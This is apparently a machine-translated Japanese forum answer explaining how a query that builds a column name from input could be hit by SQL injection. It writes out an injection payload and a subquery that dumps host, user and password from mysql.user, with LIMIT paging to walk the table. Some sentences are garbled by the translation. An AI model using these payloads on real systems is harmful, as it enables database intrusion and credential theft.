いいえ。コードが SQL インジェクションに対して無防備であると見なすには、ここには十分な情報がありません。
クエリから、それを実行する関数は 4 つの列が返されることを期待していることがわかり、列の名前が表示されます。(その情報は、私たちに有利なスタートを切ります。)
返される列の数、列の名前とデータ型、特定の値について、関数がどれほどうるさいかはわかりません。またはフェッチされる行数。(おそらく、関数は 1 行しかフェッチしていません。)
ステートメントがこの形式であることがわかっている場合...
SELECT `menu_id`
, `lang_**[the injected code starts here]**` AS lang
, age
, is_open
FROM `utf8_menu`
WHERE `age` = 503
AND `is_active`=1
ORDER BY `order`
SQL インジェクションを取得するための最初のショットは、次のようになります。
foo` AS lang, 1 AS age, 1 AS is_open --
文字列値を変更せずに SQL に組み込むと、次の形式の SQL が得られます。
SELECT `menu_id`
, `lang_foo` AS lang
, 1 AS age
, 1 AS is_open -- ` AS lang ...
「ダッシュ ダッシュ スペース」以降はすべてコメントとして扱われます。関数は、 という名前の列でボークする可能性がありますlang_foo
。運が良ければ、関数は列名ではなく序数 (1,2,3,...) で列を参照しています。
foo
そのため、" " を関数が期待する別の値に変更する必要があるかもしれません。
そのエクスプロイトが成功した場合、それは最初のオープニングです。いくつかの情報を公開しようとすることができます。
mysql.user テーブルから何らかの情報を取得できるかもしれません...
SELECT `menu_id`
, `lang_foo` AS lang
, col3 AS `age`
, 1 AS `is_open`
FROM ( SELECT host AS menu_id
, user AS lang_foo
, password AS col3
FROM mysql.user
ORDER BY host, user
) -- ...
関数が返された値で何をしているかによって異なります。それが Web ページに出力されている場合、私たちはゴールデンです。
関数が 1 つの行のみを返す場合、mysql.user テーブル全体を取得するにはもう少し手間がかかります。
LIMIT 0,1
最初にスライドしてLIMIT 1,1
、2列目を取得できます...